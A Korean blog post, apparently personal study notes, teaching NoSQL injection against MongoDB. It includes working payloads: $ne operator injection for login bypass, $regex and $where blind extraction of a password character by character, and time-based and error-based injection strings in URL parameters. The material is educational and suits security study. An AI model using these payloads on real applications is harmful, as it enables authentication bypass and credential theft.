WEB Hacking

<WEB Hacking> NoSQL Injection

지우친구 웅이 2021. 12. 20. 11:41

■NoSQL(Not Only SQL)

· SQL을 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간임

· 키-값을 사용해 데이터를 저장

· RDBMS는 SQL이라는 정해진 문법을 사용하는 반면에 NoSQL은 다양한 DBMS마다 각각의 구조와 사용 문법이 다름

 

■NoSQL Injection

· 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생

· SQL은 데이터의 자료형으로 문자열, 정수, 날짜, 실수 등을 사용할 수 있음

· MongoDB는 이외에도 오브젝트, 배열 타입을 사용할 수 있음

http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object

http://localhost:3000/?data[5678]=1234
data: { '5678', '1234' }
type: object

 

user
계정 비밀번호
admin secretpassword

로그인에 사용하는 쿼리

> db.user.find( { 'uid': 전달받는 uid, 'upw': 전달받는 upw } )

admin의 비밀번호 알아내기

query?uid[$ne]=a&upw[$ne]=a  # uid와 upw가 'a'가 아닌 데이터를 조회하는 공격 쿼리

이용자의 입력값에 대해 타입 검증을 하지 않는다면 오브젝트 타입의 값을 입력할 수 있다.

오브젝트 타입의 값을 입력할 수 있으면 연산자를 사용할 수 있다.

$ne(not equal)로 입력한 데이터와 일치하지 않는 데이터를 반환하여, 공격자는 계정 정보를 모르더라도 admin의 비밀번호를 찾아 낼 수 있다.

 

user2
계정 비밀번호
guest guest
admin  

로그인에 사용하는 쿼리

> db.user2.find( { 'uid': 전달받는 uid, 'upw': 전달받는 upw } )

admin의 비밀번호 알아내기

db.user2.find( { "uid": "admin", "upw": { "$ne": "" } } )

 

■Blind NoSQL Injection

Blind SQL Injection과 같이 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있다.

$regex 지정된 정규식과 일치하는 문서를 선택
$expr 쿼리 언어 내에서 집계식을 사용할 수 있음
$text 지정된 텍스트를 검색
$where Javascript 표현식을 만족하는 문서와 일치

 

· $regex

정규식을 사용해 식과 일치하는 데이터를 조회

> db.user.find( { "upw" : { $regex: "^a" } } )

· $where

인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회

substring 연산자로 Blind SQL Injection에서 한 것과 같이 한 글자씩 알아낼 수 있다.

> db.user.find( { $where : "return 1==1" } )
> db.user.find( { $where : "this.upw.substring(0,1)=='a'" } )

sleep()를 통한 Time based Injection(참이면 시간 지연 발생)

> db.user.find( { $where : "this.uid=='${전달받는 uid}'&&this.upw=='${전달받은 upw}'" } )
/?uid=admin'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1

Error based Injection

에러를 기반으로 데이터를 알아내는 기법으로, 문법에 어긋나는 구문을 입력해 고의로 에러를 발생시킴

this.upw.substring(0,1)=='a' 부분이 참이면 에러 발생

> db.user.find( { $where: "this.uid=='admin'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'" } )